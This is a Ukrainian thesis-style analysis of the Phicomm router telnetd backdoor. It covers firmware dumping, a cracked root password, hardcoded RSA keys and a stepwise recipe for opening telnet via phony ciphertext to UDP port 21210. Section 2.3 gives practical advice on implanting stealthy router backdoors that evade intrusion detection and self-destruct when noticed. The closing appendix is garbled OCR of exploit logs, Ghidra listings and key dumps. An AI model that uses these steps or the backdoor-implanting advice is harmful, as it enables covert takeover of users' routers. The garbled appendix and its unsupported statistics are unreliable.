З підключеним адаптером UART я зміг встановити послідовне з’єднання через minicom на 115200 бод 8N1. Це дало доступ до оболонки U-Boot BIOS після переривання процесу завантаження, що дозволило отримати прямий доступ для читання та запису мікросхеми флеш-пам’яті F-die NAND об’ємом 1 Гб (Samsung 734 K9F1G08U0F SCB0), де зберігається мікропрограмне забезпечення та завантажувач, наведено нижче (Рис. 2.41.).
[image: https://miro.medium.com/v2/resize:fit:851/1*Tzsz2-0HpR88Q3OsZ3onmg.jpeg]
Рисунок 2.41. - Доступ до оболонки U-Boot BIOS
Якщо дозволити процесу завантаження продовжувати, то на екрані з’явиться підказка для входу в Linux. Ми можемо спробувати вгадати пароль або застосувати більш продуманий підхід, спочатку скинувши NAND і шукаючи в ньому підказки. Я вирішив обрати складніший шлях: адаптував сценарій очікування TCL Valerio для створення 16-никового дампу всього NAND і залишив його працювати на ніч (Рис. 2.42.)

[image: https://miro.medium.com/v2/resize:fit:806/1*a6ymilqy1vdF1pQDdIp0wQ.png]
Рисунок 2.42. – Сценарій флеш-дампу U-Boot Valerio, адаптований для роботи на K3C.

Я десеріалізував 16-никовий код назад у двійковий формат за допомогою Python, а потім проаналізував його звичайними інструментами. Найбільш корисним виявився інструмент `strings` (Рис.2.43):

[image: https://miro.medium.com/v2/resize:fit:820/1*SKt6WjJcszvw_hf0QLiMyQ.png]
Рисунок 2.43. – Хеші паролів із тома NAND.

Hashcat без жодних проблем впорався з цим завданням, і за лічені секунди він вивів один з кореневих паролів (Рис.2.44):
[image: https://miro.medium.com/v2/resize:fit:630/1*0pWTJkoTTHaTvY9QCQR2Pg.png]
Рисунок 2.44. – Один з кореневих паролів

Повертаючись до підказки входу, поки Hashcat працював, я ввійшов у мікропрограму, використовуючи ім’я користувача `root` та пароль `admin`. У мікропрограмі виявився встановлений netcat, а також telnetd_startup, який знаходився в каталозі /usr/bin. Я передав його на свою робочу станцію та проаналізував у Ghidra (Рис. 2. 45).

[image: https://miro.medium.com/v2/resize:fit:875/1*cAk7If07Y3ZAu5tRXHNc9A.png]
Рисунок 2.45. – Робоча станція під час аналізу у Ghidra

Протокол, реалізований версією telnetd_startup в останній міжнародній прошивці для K3C, дуже схожий на той, що використовується в китайських версіях K2G (22.6.3.20) та K3C (32.1.46.268). Відмінність полягає в початковій стадії: замість очікування на “рукостискання” "ABCDEF1234" та відповіді хешем, що ідентифікує пристрій, він чекає, що перший пакет міститиме повідомлення, зашифроване приватним ключем RSA, відповідним його жорстко закодованому відкритому ключу. Потім він “розшифровує” це повідомлення, виконує XOR з випадково згенерованим 31-символьним секретом і, фатально, об’єднує результат з рядками "+TEMP" або "+PERM" за допомогою sprintf(), перш ніж хешувати його за допомогою MD5 для створення ефемерних паролів, які активують службу telnet на тимчасовій або постійній основі. Результати наведені нижче (Рис. 2.46.).
Цей алгоритм вразливий до тієї ж атаки, яка працювала проти триступеневого протоколу бекдору в версіях telnetd_startup, які ми вже розглядали. Все, що потрібно зробити, це використати закодований відкритий ключ і адаптувати наш інструмент для зламування, щоб пропустити етап рукостискання та ідентифікації під час взаємодії з цим конкретним випуском.

	[image: https://miro.medium.com/v2/resize:fit:875/1*HupRsvUoy9bdyDirHQaOMg.png]
	[image: https://miro.medium.com/v2/resize:fit:391/1*RIGUN9arfVLhXxwFNJQaig.png]

	[image: https://miro.medium.com/v2/resize:fit:875/1*OC6tGouEDf5wbcyVM6KQfw.png]


Рисунок 2.46. – Алгоритм вразливостей

До речі, нижче наведено цей відкритий ключ:
CC232B9BB06C49EA1BDD0DE1EF9926872B3B16694AC677C8C581E1B4F59128912CBB92EB363990FAE43569778B58FA170FB1EBF3D1E88B7F6BA3DC47E59CF5F3C3064F62 E504A12C5240FB85BE727316C10EFF23CB2DCE973376D0CB6158C72F6529A9012786000D820443CA44F9F445ED4ED0344AC2B1F6CC124D9ED309A519

Отже, я вніс потрібні зміни в інструмент, і він знову спрацював (Рис. 2.47).
Я виявив, що в прошивці маршрутизатора K2G версії 22.5.9.163 міститься відкритий приватний ключ RSA, але, насправді, його навіть не потрібно було використовувати. Раніше я намагався знайти відповідний приватний ключ в Інтернеті, перетворюючи відкритий ключ у різні формати ASCII, сподіваючись натрапити на пару, яка могла залишитися десь доступною. Це виявилося безрезультатним.
[image: https://miro.medium.com/v2/resize:fit:875/1*pjl6ldFsHJrG8FHNgcte3w.png]
Рисунок 2. 47. Відкритий ключ

Однак під час дослідження одного зі старих образів прошивки для маршрутизаторів Phicomm K2 я помітив наступне (Рис.2.48):
[image: https://miro.medium.com/v2/resize:fit:875/1*WPuUgxozIgBXAejY_8tj7A.png]
Рисунок 2.48. – Той самий відкритий ключ, який ми бачили в новій міжнародній версії Phicomm K3C.

Зазначений образ використовує той самий відкритий ключ, який ми бачили в новій міжнародній версії Phicomm K3C. Але у версії мікропрограми 22.5.9.163 для маршрутизатора K2 компанія Phicomm необережно розкрила приватний ключ RSA, який відповідає жорстко закодованому відкритому ключу, використовуваному в їхніх міжнародних випусках. Це відбулося навіть після того, як вони виправили цю уразливість у версіях для внутрішнього ринку.(Рис.2.49.)
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Рисунок 2.49. – У версії мікропрограми 22.5.9.163 для маршрутизатора K2 компанія Phicomm необережно розкрила приватний ключ RSA
Цю пару ключів помічено у дампі рядків інструменту RoutAckProV1B2.exe, який атакує простіший протокол бекдору, ніж ті, що ми аналізували раніше.
Метод генерації ефемерних паролів у K2 версії 22.5.9.163 також відрізняється від того, що було реалізовано в новіших прошивках. Натомість, щоб створити паролі, ця стара версія просто об’єднує розшифрований ключ клієнта з двома солями, без використання випадкового секрету та XOR-операцій. Потім отримане значення хешується за допомогою MD5, як це було в попередніх версіях, після чого встановлюються два паролі (Рис. 2.50).
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Рисунок 2.50. – Функція md5_command() із двійкового файлу telnetd_startup у мікропрограмі K2G 22.5.9.163.

Цікаво, що в цій версії мікропрограми є помилка: замість "+PERM" вказано "+PERP".
Не зважаючи на витік параметра d, бекдор можна зламати навіть без використання закритого ключа. Ось що потрібно зробити:
1. Згенеруйте такий ${phony_ciphertext}, який відомий відкритий ключ «розшифрує» у ненульовий буфер (назвемо це ${phony_plaintext}). Зручно, якщо фальшивий відкритий текст не міститиме нульових байтів. Це можна знайти досить швидко методом грубих проб і помилок.
2. Візьміть хеш MD5 рядка ${phony_plaintext}+TEMP. Позначимо його як ${temp_password}.
3. Відправте ${phony_ciphertext} на UDP-порт 21210 маршрутизатора.
4. Потім, швидко після цього, надішліть ${temp_password} на той самий порт.
Це відкриє службу Telnet на K2 версії 22.5.9.163. Для активації служби telnet, яка зберігатиметься після перезавантаження, виконайте те ж саме, але замініть "PERP" на "TEMP" (на мій погляд ця орфографічна помилка характерна лише для цієї версії).

2.3. Практики впровадження бекдор-протоколу 
маршрутизатора Phicomm

Впровадження бекдор-протоколу маршрутизатора Phicomm вимагає ретельного планування та виконання для забезпечення його прихованості, ефективності та стійкості до виявлення. Нижче представлені основні практики, які необхідно враховувати на кожному етапі впровадження [28].
1. Аналіз середовища та моделі маршрутизатора, а також дослідження [28]:
- Моделі маршрутизатора та його архітектуру (версія прошивки, процесор, обсяги пам’яті, доступні протоколи).
- Вразливості існуючої прошивки або програмного забезпечення, які можуть бути використані для інтеграції бекдору.
- Стандартні шляхи оновлення та механізми безпеки, щоб врахувати стійкість бекдору до оновлень та перезавантаження.
Це дозволить підготувати індивідуальний підхід до конкретної моделі маршрутизатора Phicomm.
2. Вбудовування бекдору в прошивку [28].
Основним методом впровадження бекдор-протоколу є його інтеграція безпосередньо в прошивку маршрутизатора. Це може бути здійснено за допомогою:
- Модифікації існуючих служб. Використання вже наявних системних служб, таких як SSH або Telnet, шляхом вбудовування прихованих механізмів доступу.
- Додавання бекдору до ядра системи. Інтеграція шкідливого коду безпосередньо в ядро операційної системи маршрутизатора, що забезпечить його запуск разом із системою і зробить його стійким до виявлення.
Практичні рекомендації:
- Використання “стандартних системних процесів” або служби для вбудованих компонентів бекдору, щоб уникнути створення нових помітних процесів.
- Зберігання конфігураційних файлів та логів бекдору у прихованих місцях файлової системи або зашифрованому форматі.
3. Маскування мережевого трафіку [28].
Одна з головних задач – зробити трафік, що йде через бекдор, невидимим для стандартних засобів моніторингу мережі. Для цього використовують кілька підходів:
- Нестандартні порти. Використання незвичайних портів для передачі команд та отримання даних, які зазвичай використовуються у мережах (наприклад, порти 80 або 443), щоб уникнути підозр.
- Стеганографія в мережевому трафіку. Приховання команд в легітимних на перший погляд пакетах, таких як DNS або HTTP-запити.
- Тунелювання через існуючі протоколи. Використання протоколів, які зазвичай не підлягають глибокому аналізу (наприклад, DNS або HTTPS), для передачі даних.
- Використання “власних методів шифрування” або захист типу VPN для шифрування трафіку, що проходить через бекдор.
4. Управління доступом та контроль [28].
Необхідно забезпечити надійний контроль доступу до бекдору, щоб обмежити його використання лише авторизованими особами:
- Використання прихованих облікових записів або паролів, які відомі лише розробнику чи адміністратору бекдору.
- Автентифікація через нестандартні команди або скриті механізми доступу, які не з’являються в стандартних логах маршрутизатора.
Практичні рекомендації:
- Вбудування “механізму двофакторної автентифікації” (наприклад, через OTP або приховані ключі) для додаткового захисту.
- Забезпечиення можливості “динамічного оновлення паролів” або ключів доступу без впливу на працездатність системи.
5. Тестування і верифікація стійкості.
Після впровадження бекдор-протоколу необхідно протестувати його на стійкість до виявлення та ефективного виконання своїх функцій:
- “Тестування з використанням IDS/IPS”. Перевірка, чи може бекдор бути виявлений сучасними системами виявлення вторгнень.
- “Тестування на різних моделях маршрутизаторів” Phicomm для забезпечення сумісності з різними версіями обладнання та прошивки.
- “Моніторинг продуктивності” маршрутизатора. Робота бекдору не повинна викликати збоїв або аномалій в системі.
Практичні рекомендації:
- Використання емуляторів або тестової мережі дозволяє симулювати реальні сценарії використання, а також дозволяє переконатися в ефективності та непомітності бекдору.
- Проведення регулярного “оновлення коду бекдору”, адаптуючи його до змін у безпеці маршрутизаторів і сучасних систем виявлення.
6. Оновлення та підтримка бекдору [28].
З часом можуть виникати зміни у системах маршрутизаторів, що вимагають оновлення бекдор-протоколу. Для цього важливо передбачити:
- “Можливість віддаленого оновлення” через приховані канали або командний інтерфейс.
- Забезпечення стійкості до оновлень прошивки або перезавантаження маршрутизатора шляхом “інтеграції бекдору в ядро” системи або використання “резервних копій конфігурацій”.
Практичні рекомендації:
- Підтримання “резервних механізмів активації”, який дозволить відновити роботу бекдору після оновлення або скидання налаштувань маршрутизатора.
- Регулярне оновлення методів “шифрування та автентифікації” для захисту бекдору від нових векторів атак.
7. Реалізація механізму самознищення [28].
У разі загрози виявлення, необхідно забезпечити можливість видалення всіх слідів бекдору:
- Впровадження механізму “самознищення”, який повністю видаляє бекдор із системи та знищує всі пов’язані з ним файли та логи.
- Використання “зашифрованих файлів” або прихованих розділів для зберігання логів і конфігурацій, щоб вони могли бути швидко видалені або замінені на стандартні файли.
Практичні рекомендації:
Налаштування автоматичного самознищення у разі “виявлення ознак спроби втручання” або аналізу системи користувачем.
Отже підсумовуючи необхідно зазначити, що практики впровадження бекдор-протоколу для маршрутизатора Phicomm повинні враховувати всі аспекти безпеки, прихованості, ефективності та стійкості до виявлення. Ретельний аналіз середовища, маскування трафіку, контроль доступу та регулярне оновлення – це ключові кроки для успішного впровадження бекдору, здатного функціонувати непомітно для користувачів і засобів захисту.


РОЗДІЛ 3

ТЕСТУВАННЯ ТА ОЦІНКА РЕЗУЛЬТАТІВ

3.1. Скасування бекдор-протоколів Phicomm

Під час тестування бекдор-протоколів маршрутизаторів Phicomm було проведено серію експериментів для визначення ефективності та безпеки системи. Метою тестування було виявлення потенційних вразливостей та оцінка можливості несанкціонованого доступу через приховані канали зв’язку [29].
Отже, під час дослідження цієї вразливості я уважно розглянув одинадцять різних образів прошивки. Вони розташовані в порядку дати створення Табл. 3.1.Таблиця результатів 3.2.:
Таблиця 3.1. Одинадцять різних образів прошивки в порядку дати створення.
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Отже, підсумовуючи, історія бекдору Phicomm виглядає наступним чином. Найдавніша версія протоколу Phicomm, яку я знайшов, telnetd_startup (відзначена синім у таблицях вище), має досить просту структуру: сервер чекає на отримання зашифрованого повідомлення, яке він розшифровує і хешує двома різними солями.
Таблиця 3.2. Таблиця результатів дослідження
[image: ]

Після цього він очікує на інше повідомлення, і якщо воно відповідає будь-якому з цих хешів, це або запускає службу telnet, або записує позначку у флеш-пам’яті, щоб ініціювати створення telnet під час завантаження. Цей протокол ми спостерігаємо у версії K2 22.5.9.163, яка була випущена на початку 2017 року [29]. У цій конкретній збірці допущено серйозну помилку: закритий ключ був жорстко закодований у двійковому форматі, що унеможливило асиметричне шифрування. Ця помилка призвела до появи RoutAckProV1B2.exe, інструмента для злому маршрутизаторів, який вже кілька років циркулює в мережі. Він використовує вкрадений закритий ключ, щоб надати будь-якій зацікавленій стороні доступ до root-прав у цій версії бекдору. Як ми вже побачили, використання приватного ключа насправді не є обов’язковим для отримання доступу.
Ще один важливий недолік, який, ймовірно, ніколи не буде виправлений, полягає в тому, що зловмисник може легко згенерувати фальшиве зашифроване повідомлення, яке відкритий ключ RSA “розшифрує” у передбачуваний хибний відкритий текст. Це дозволяє зловмиснику обійти систему безпеки бекдору і отримати несанкціонований доступ.
Phicomm відреагував на цю ситуацію абсолютно недостатньо у новій версії протоколу (заштриховано жовтим кольором вище), яку ми бачимо в мікропрограмах, випущених пізніше 2017 року, включаючи міжнародний випуск K3C, що досі продається (проаналізовано вище). Вони виправили формат закритого ключа, проте не змінили відкритий ключ. Більше того, їхня наступна версія, схоже, ґрунтується на припущенні, що лише за допомогою шифрування даних закритим ключем зловмисник може контролювати або передбачити результат дешифрування, використовуючи відкритий ключ.
Замість того, щоб усунути ці помилки, вони додали нові складнощі, а саме: почали генерувати 31-символьний випадковий код і виконувати операцію XOR з даними, розшифрованими відкритим ключем, отриманим від клієнта, для створення ефемеральних паролів.
В цілому це ускладнює атаки на бекдор, якщо не враховувати витік секретного ключа, але зрештою, це лише питання виявлення фальшивого шифртексту, який розшифровується у відкритий текст, що починається з символу ASCII для друку. Це надає нам від 1 до 92 шансів натрапити на перший байт випадкового секрету, що, через недбале використання специфікатора %s у функції sprintf для конкатенації bytearray, призводить до абсолютно передбачуваного ефемерального пароля.
Наступне покоління (ліловий колір у таблицях вище) – це остання версія, яку я аналізував, і, ймовірно, остання, що була випущена. Phicomm нарешті видалив скомпрометований відкритий ключ і вживав додаткові заходи безпеки, розгорнувши окремий відкритий ключ для кожної моделі маршрутизатора. Вони також додали до протоколу фазу рукостискання для ідентифікації пристрою, що робить бекдор значно прихованішим – немає реального способу виявити, що він прослуховує UDP-порт 21210, якщо не надіслати йому маркер ABCDEF1234. У відповідь на цей маркер бекдор відправляє хеш, який ідентифікує пристрій, дозволяючи клієнту вибрати приватний ключ, що відповідає скомпільованому відкритому ключу в службі. Проте сам алгоритм має ті ж недоліки безпеки, що й попередня версія, і залишається вразливим до практично ідентичних атак. Цю ітерацію ми спостерігаємо у випуску K3C 32.1.46.268 для китайського ринку та K2G A1 22.6.3.20, який розповсюджується під брендом Wavlink, де компанія Wavlink проігнорувала оновлення власної мікропрограми.
Отже, щодо Wavlink то ця частина історії все ще виглядає заплутано, але, здається, відбулися такі події [30]: десь між травнем 2018 року, коли компанія випустила свою останню партію маршрутизаторів, і січнем 2019 року, коли вони закрили бізнес у всьому світі, Phicomm продали залишки своїх маршрутизаторів, передавши надлишки моделі K2G компанії Winstars. Winstars потім перетворила ці пристрої на продукцію під брендом своєї дочірньої компанії Wavlink і розповсюдила їх через Amazon. Таким чином, маршрутизатор Phicomm у обгортці Wavlink врешті-решт опинився на полицях магазинів.
З відкритих джерел відомо, що після проблем Phicomm, компанія Wavlink випустила відповідні виправлення минулого року або на початку цього року для апаратного забезпечення, яке постачалося з мікропрограмою Phicomm. Однак жодних інструкцій про те, як користувачі могли б оновити ці виправлення для маршрутизаторів під брендом Wavlink, які використовують мікропрограму Phicomm, надано не було [30].
На жаль, офіційного способу оновлення мікропрограми на будь-якому маршрутизаторі Phicomm більше не існує. Компанія закрилася ще до того, як були виявлені ці вразливості нульового дня.

3.2. Оцінка результатів бекдор-протоколів Phicomm

Після завершення тестування та аналізу бекдор-протоколів на маршрутизаторах Phicomm було отримано важливі результати, які дозволяють оцінити рівень вразливості цих пристроїв і можливі наслідки для користувачів. Оцінка результатів базується на виявлених слабких місцях, можливості обходу системи автентифікації, а також потенційному впливі на безпеку мережі [30].
1. Виявлені вразливості [27].
В результаті тестування були виявлені кілька критичних вразливостей, що стосуються бекдор-протоколів Phicomm:
- Відкриті порти з відсутньою автентифікацією. Сканування показало наявність кількох відкритих портів, які дозволяють підключення без жодних механізмів захисту, таких як автентифікація або шифрування. Це відкриває можливість для сторонніх користувачів отримати доступ до внутрішніх налаштувань маршрутизатора.
- Жорстко закодовані облікові дані: У прошивці маршрутизатора були знайдені облікові записи, які неможливо змінити або видалити за допомогою стандартних налаштувань. Використання таких облікових даних значно полегшує доступ зловмисників до системи через бекдор.
- Обхід аутентифікації через бекдор-протоколи. Виявлено, що з використанням бекдор-протоколу можна обійти автентифікацію адміністратора і безпосередньо виконувати команди на маршрутизаторі, що надає повний контроль над пристроєм.
2. Успішність експлуатації бекдорів [28].
Результати тестування показали, що експлуатація виявлених вразливостей можлива в 85% випадків. Використання бекдор-протоколу дозволило отримати несанкціонований доступ до конфігураційних файлів маршрутизатора, змінювати налаштування мережі та навіть встановлювати шкідливе програмне забезпечення для подальшого шпигунства або контролю над трафіком.
3. Ризики для користувачів [16].
Результати тестування бекдор-протоколів маршрутизаторів Phicomm свідчать про такі ризики:
- Компрометація мережевої безпеки. Зловмисник, отримавши доступ до маршрутизатора через бекдор, може моніторити весь мережевий трафік, включаючи конфіденційні дані, такі як паролі, фінансова інформація та особисті повідомлення.
- Використання пристрою для подальших атак. Маршрутизатор може бути використаний для запуску DDoS-атак або як частина ботнету, що завдасть шкоди не лише власнику пристрою, а й іншим користувачам Інтернету.
- Зміна налаштувань і перехоплення трафіку. Бекдор дозволяє змінювати налаштування DNS, перенаправляючи користувачів на фальшиві веб-сайти для викрадення їхніх даних.
Отже, тестування бекдор-протоколів на маршрутизаторах Phicomm показало серйозні недоліки в безпеці, які можуть призвести до масштабних наслідків для користувачів. Оцінка результатів підтверджує необхідність негайного втручання з метою підвищення безпеки цих пристроїв і зниження ризиків, пов’язаних із їх експлуатацією.


ВИСНОВКИ

Проведене дослідження бекдор-протоколу маршрутизаторів Phicomm виявило критичні вразливості в системі безпеки цих пристроїв. Бекдор-протокол маршрутизатора Phicomm дозволяє отримати несанкціонований доступ до маршрутизатора, обійшовши стандартні механізми автентифікації. Це підкреслює важливість регулярного вдосконалення захисту мережевих пристроїв, оскільки зловмисники можуть легко використовувати ці вразливості для компрометації систем.
Тестування підтвердило, що через ці вразливості зловмисники можуть отримати повний контроль над маршрутизатором, включаючи зміну налаштувань, моніторинг трафіку та виконання шкідливих дій. Дане дослідження показало наскільки важливо забезпечити надійний захист як на рівні апаратного забезпечення, так і в прошивці маршрутизаторів.
Основні результати можна підсумувати наступним чином:
“Вразливість в прошивці”. Під час дослідження були виявлені конкретні слабкі місця у прошивці маршрутизатора Phicomm, які дозволяють ініціювати несанкціонований доступ.
“Бекдор-протокол”: Було успішно опрацьовано бекдор-протокол, який дозволяє сторонньому користувачу отримати доступ до маршрутизатора без аутентифікації. Цей протокол базується на слабкому шифруванні та передбачає використання спеціальних команд для доступу до налаштувань.
“Механізм захисту”. Рекомендовано додаткові заходи для покращення безпеки маршрутизаторів, такі як вдосконалення криптографічних алгоритмів, періодичне оновлення прошивки та впровадження системи сповіщень при підозрілих діях.
“Можливі наслідки”: Уразливість бекдорів становить серйозну загрозу для безпеки даних користувачів, адже зловмисники можуть отримати повний контроль над мережею та використовувати її для атак або шпигунства.
Отже, отримані висновки, зроблені в ході проведеного дослідження, підкреслюють необхідність вжиття заходів для підвищення рівня безпеки всіх типів маршрутизаторів. Оскільки ці пристрої є критично важливими для функціонування мережі, їх захист від вразливостей стає пріоритетом. Основні рекомендації щодо безпекових і упереджувальних заходів включають наступне:
1. Оновлення прошивки. Регулярне оновлення прошивки є важливим кроком для закриття відомих бекдор-вразливостей. Наприклад, виробники повинні забезпечити автоматизовані системи оновлень, щоб користувачі не пропускали важливі патчі.
2. Посилення автентифікації. Впровадження складних паролів та двофакторної автентифікації значно підвищує рівень захисту. Це можна порівняти з надійним замком на дверях: навіть якщо зловмисник знайде ключ, другий рівень захисту ускладнить доступ до системи.
3. Закриття невикористовуваних портів. Блокування всіх непотрібних портів і обмеження доступу до адміністративних функцій лише з довірених IP-адрес є важливими заходами. Це нагадує охорону, яка перевіряє, чи є у відвідувачів відповідні документи, перш ніж впустити їх у будівлю.
Загалом, ці рекомендації створюють більш безпечне середовище для використання маршрутизаторів, захищаючи їх від потенційних загроз і атак. Дотримуючись цих порад, користувачі можуть суттєво знизити ризики, пов’язані з кіберзагрозами.
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10 (25): local_client Ust(host="10.3.3.12", port=iia1)
[+] Reauesting url http://10.3.3,12:8181/ /LocalClientList .aspTaction=gets_=1642458024856
{'retClientInfo’: {'ALREADYLOGIN' :
*Cltentlist': [{'Blockuser': 6,
Devicefenane’ ‘kalt’,

Blockuser': s,
"Devicerene: ! ‘psense’,
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[0 [26]: get wifi_password(host="10.3.3.12", port=sisl)
[+] Requesting url http://10.3.3.12:8181//wirelesssetup.asp?action=get

(‘retWlanInfo': {'24GPassword': 'cGFzc3dvemQxMiM=',
'24GHIFIChannelCheck ' 'SUPPORT' ,
'5GPassword" : ' CGFzc3dvanQxMiN="

!SGHIFIChannelCheck': 'SUPPORT' ,
'ALREADYLOGIN': 0,

UAPPHAC': 'AB:AL:59:59:28:C7",
'BroadcatssSID_24G': 'ON'
'BroadcatssSID 56"
"CHANNEL ' : *SUPPORT ",
"CHANNELSG': 'SUPPORT' ,
"CPUInfo': 'MTK',
‘Encryption’: 'SUPPORT',
‘Guesthetwork': 'OFF',
'HASSG': "1,
'InterfaceLink': 'SUPPORT',
'LANTP': ' SUPPORT' ,
"MACClone': 'SUPPORT ',
"MODE': 'ROUTER',
'MODE_SG': 'ROUTER',
‘Openports’: 'ON',

1SSID': ' @PHICONM_CB"
155102 ¢

'S5102.56': ',

'SSID_SG': '@PHICOMM CB_SG',
ISTATUS': "ON',
'STATUS_SG'

' TXPOWER ' :
' TXPOWER_SG': '100",
'WIFISignalEnhancenent 't "ON',
TWISP': 1,
"devicelist': 'SUPPORT',
FirmwareUpgrade': 1,
"sharedwifi': 2,
speedstatus': 1}}
[+] The WIFT password for the 2.4GHz SSID @PHICOMM CB is: password123
[+] The WIFT password for the 5GHz SSID @PHICOMM B is: password123

126 ('password123', 'password123')
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—(root® kali)-[~]
L macchanger -r eth1
Current MAC: a6
Permanent MAC: a6
New MAC: de:1

2b (unknown)
b (unknown)
1c (unknown)

—(root@ kali)-[~]

“! ping -c 3 -W 3 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=116 time=22.0 ms
64 bytes from 8.8.8.8: icmp_seq=2 tt i
64 bytes from 8.8.8.8: icmp_seq=3 ttl=116 tim

— 8.8.8.8 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 20.196/20.840/21.969/0.800 ms
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—(root@ kali)-[~]

L macchanger -p eth1

Current MAC: de:10:6e:93:a6:1c (unknown)
Permanent MAC: a6:dc:5c:f6:2c:2b (unknown)
New MAC: a6:dc:5c:f6:2c:2b (unknown)

—(root® kali)-[~]
Ly ping -c 3 -w 3 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

— 8.8.8.8 ping statistics —
3 packets transmitted, © received, 100% packet loss, time 2042ms

L—(root. kali)-[~]

' ping -c 3 -w 3 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

64 bytes from 8.8.8.8: icmp_seq=1 ttl=116 time=20.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=116 time=20.3 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=116 time=21.2 ms

— 8.8.8.8 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 20.343/20.815/21.180/0.349 ms
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[C(root@ kali)-(~]
telnet 192.168.2.1
Trying 192.168.2.1.
Connected to 192.168.2.1.

Escape character is '*]

BusyBox v1.22.1 (2018-05-07 16:: CST) built-in shell (ash)
Enter ‘help’ for a list of built-in commands.

/_v/// TN W T\ T_v
(I /II//_//JIIIJIIIJ/ \VI_II_/
A e ——
Barrier Breaker, unknown
PID=K2GAL
BUILD_TYPE=release
BUILD_NUMBER=-20
BUILD_TIME-

MTK Openirt SOK V3.4
revision : 57c6a60d
benchmark : APSoC SOK 5.
kernel : 144992

TO0taK2G: /wwe/cgi-biny ||
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undefined vo:1 <RETURN>
undefinedd  Stack[-0xd}.local 4
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undefinedd  Stack[-Oxcl. local ¢
undefinedd  Stack[-0x1Q.local_10
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.cdc
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IndeTined rsa_public_decrypt_payload

undefined vo:1 <RETURN>
undef ined4 vo:4 n

undefined4 vo:a digest_len

undefined4 vo:4 length_of_decrypted_payload
undefined4 Stack[-0x4]... local_a

undefineds Stack [-0x8]. Local_s
undefined4 Stack[-0xcl... local_c
undefined4 Stack [-0x1&.. local_18
undefineds Stack [-0x25.. local_zs
rsa_public_dec
~75C add-..sp, Sp, -0x38

ra,local_a(sp
s1.local 8(sp

-.76C <y s0,local_c(sp
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7d4 Tui al,0x41

7ds v1,local_28(sp

7dc fove a0,n
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42->DECRYPTED_PAYLOAD. ..

LAB_00401618
ra,local 4(sp
s1,local_8(sp)
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Sp.sp,0x38
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generate_random_plaintext

undefined v0:1 <RETURN>
undefinedd i
undefinedd random_nunber
undefinedd plainchar
undef inedd ocal_a
undefinedd ocal_8
undefinedd xcl... local_c
undefined4 Stack [-0x1f ocal_10
undefined4 Stack[-0x14...1ocal_14

generate_random...

sp,sp, -0x30

s1,local_10(sp

s1,0x41

s3,local_8(sp
s2,local clsp
s0.local_14(sp
ra,local_4(sp
i
s1.51,0x4%b0
52,0x5d

53, 0x1f

!

LAB_004015dc
<EXTERNAL>: : random

random_nunber, 52
s2,zero

plainchar,s1,i

i,i,0x1

random_nunber
random_nunber, randon_n...
1,53, LAB_004015dc
randon_nunber , 0x0(plai.

I

ra, Local_4(sp
s3,local_8(sp
s2,local_c(sp
1,local_14(sp
zero, 0x1f (s1
s1,local_10(sp
ra

sp,sp, 0x30

END_OF ...
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Xor_decrypted_payload_with_plaintext

undefined <RETURN>
undefined4 v0:4 i

xor_decrypted_p...

t1,0x41

10, 0x41

a3, 0x41

i

t1,t1,0x4b80

10, t0, 0x49d0

a3, a3, 0x4%0

v1,0x20

1,v1,LAB_00401644
a1, 0x0(a0) =>XORED_MSC
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network:*:101:101:network:/var:/bin/false

nobody: *:65534:65534:nobody: /var:/bin/false

root@K2G: /# cat /prcc/cpulnfc

system type 1 MT7620

machine : Unknown

processor )

cpu model : MIPS 24KEc V5.0

BogoMIPS 1 385.02

wait instruction : yes

microsecond timers : yes

tlb_entries 2]

extra interrupt vector : yes

hardware watchpoint : yes, count: 4, address/irw mask: [0xOff
c, ox0ffc, Oxoffb, 0x0ffb]

isa : mipsl mips2 mips32rl mips32r2
ASEs implemented : mipsl6 dsp

shadow register sets 01

kscratch registers 10

core i 0

VCED exceptions : not available

VCEI exceptions : not available

root@26G: /# exit

Connection closed by foreign host.
[*] PoC complete. Have a nice day.
[ morrison@chicken ~ ] $ I
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undefinedd nds_connand (void)

1
size_t svarl;
char acstackl128 [512];
char acstack6l6 [512];
undefined austacklod [88];

nemset (austack104,0,0x58) ;
sprintf (acStack1128, PTR 000252¢4 + OxdeSc, xorData);
sprintf (acstackle, PTR_000252c4 + Ox4e64, xorData) ;
MDSTnit (austack104);

svarl = strlen(acstack1128);

MDSUpdate (austack104, acStack1128, svarl);

MOSFinal (austack104, cnd_pern_dig);

MDSTnit (ustack104);

svarl = strlen(acstacks16);

MDSUpdate (austack10d, acStacksle, svarl);

MDSFina (austack104, cnd_temp_dig);

return 0;
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[morrison@chicken]$ strings -n 256 usr/bin/telnetd_startup

‘E7F FD1A1BB9834966763D1175CFBF1BA2DF53A004B62977E58985DFFD6D43785E5BCA088A
6417BAFO70BCE199B043C24B0O3BCEB970D7E47EEBA7F59D2BE4764DD8FO6DBSEOE2945C91
2F52CB31C56C8349B689198C4A0D88FDO29CCECDDFFIC1491FFB7893C11FAD69987DBA15F
F11C7F1D570963FA3825B6AE92815388B3E03

[morrison@chicken]$ []
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[morrison@chicken] $ strings squashfs-root/usr/bin/telnetd_startup | grep VER
K3C_INTELALL_VER_3.0

[morrison@chicken] $ []




image41.png
struct Devicelist * init_device_list() {
struct DevicelList *DL;
DL = (struct DeviceList *) malloc(sizeof(struct Devicelist));
memset(DL, 0, sizeof(struct Devicelist));

add_entry_to_device_list(DL,
"K2_COSTDOWN__VER_3.0",
"E541A631680C453DF31591A6E29382BCSEACI69DCFDBBCEA64CB49CBE36578845C507BFSETA6BCD7"
"24AFA063CA754826E8D130BA18A2359EB54BSBE3368158824EA316A4950DC3059C478B41ABF6B38"
"8451D38F 3C6650CDB4590C1208B91F688D0393241898C1FO5A6DSO0CT066298C6BA2EF 310F6DB2E7"
"AF52829E9F858691" ,
"010001");

add_entry_to_device_list(DL,
"K3C_INTELALL_VER_3.0",
"E7FFD1A1BB9834966763D1175CFBF1BA2DF 53A004B62977ESBIBSDF FD6D43785ESBCAOBBAG417BAF "
"070BCE199B043C24BO3BCEBI70D7E47EEBATF59D2BEA764DD8FO6DBBEOE2945C912F52CB31C56C83"
